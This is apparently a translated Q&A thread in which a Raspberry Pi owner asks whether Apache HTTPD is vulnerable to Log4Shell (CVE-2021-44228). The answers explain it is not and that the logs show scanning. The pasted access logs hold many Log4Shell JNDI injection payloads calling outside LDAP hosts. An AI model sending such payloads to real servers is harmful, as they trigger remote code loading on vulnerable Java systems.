Apache Webserver 是否使用 log4j (CVE-2021-44228)?

Apache Webserver 是否使用 log4j (CVE-2021-44228)?

apache 网络服务器(apache2)是否使用 log4j?

我在 Raspberry Pi OS(64 位)上安装了 Apache2 2.4.38(debian),并在日志中发现了一些奇怪的记录CVE-2021-44228来自kryptoslogic-cve-2021-44228.com(蜜罐/扫描仪)、dataastatistics.com(离线且恶意?)和a8fvkc.dnslog.cn(我不知道这是什么)

我现在应该怎么做?

  • 没什么,因为 apache2 不受 CVE-2021-44228 的影响
  • 格式化所有内容,然后等待几天再安装修补版本
  • “检查”是否有任何新的 .class 文件,如果没有,则继续操作(并使用手动补丁,如log4j2.formatMsgNoLookups = TRUE
  • 其他东西

日志:

139.59.99.80 - - [12/Dec/2021:00:34:47 +0100] "GET / HTTP/1.1" 301 512 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:00:34:48 +0100] "GET / HTTP/1.1" 200 5932 "http://79.232.126.49/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:01:51:38 +0100] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 301 654 "-" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [11/Dec/2021:18:35:25 +0100] "GET / HTTP/1.1" 200 5932 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
139.59.99.80 - - [11/Dec/2021:20:13:11 +0100] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 8456 "-" "Kryptos Logic Telltale"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
137.184.106.119 - - [10/Dec/2021:20:38:18 +0100] "GET / HTTP/1.1" 301 568 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:20 +0100] "GET / HTTP/1.1" 200 6576 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:21 +0100] "GET /favicon.ico HTTP/1.1" 200 7103 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"

答案1

Apache HTTP 服务器它不是用 Java 编写的,不使用 log4j 库,因此不受 CVE-2021-44228 的影响。

您的日志文件来自访问日志,它们显示人们正在扫描 log4j 漏洞。

答案2

Apache 本身不是用 Java 编写的,并且不直接链接臭名昭著的 Log4j 库。因此,它特别安全,不会受到此漏洞的影响。

那么,还会有什么问题发生呢?

  1. 并非所有以 Apache 命名且具有 HTTP 功能的东西都是Apache HTTPD 服务器。例如,Apache Tomcat 是完全不同的 HTTP Web 服务器。它是用 Java 编写的,几乎可以配置为使用 Log4J。我不太确定在 Tomcat 中是否可以以其他方式记录日志。

经验和知识较少的人完全有可能混淆这两者。而且,据我所知,Tomcat 的安全记录总体上比“经典”Apache HTTPD 更好。

(根据 Bob 的评论,Tomcat 中的默认日志记录工具不是 Log4J。)

  1. Apache HTTPD 具有很强的可扩展性。它可以配置为通过各种接口调用后台的其他程序(例如,为了获取以编程方式生成的动态网页)。其中一些“后台程序”可能基于 Java,并链接到 Log4J 库。

您的里程可能会有所不同,特别是当您不详细了解您的软件堆栈时。


为了确保万无一失,您首先应该检查是否安装了 Java 计算机。在您的包管理器中,它的包将被称为 JRE 之类的东西、JVM 之类的东西,或者可能是 JAVA 之类的东西。

你也可以尝试:

java -版本

在你的壳里。

如果您没有上述任何一项,并且没有在包管理器之外安装 JAVA,那么您是安全的。

总体来说并不安全,但至少可以抵御 CVE-2021-44228。

相关内容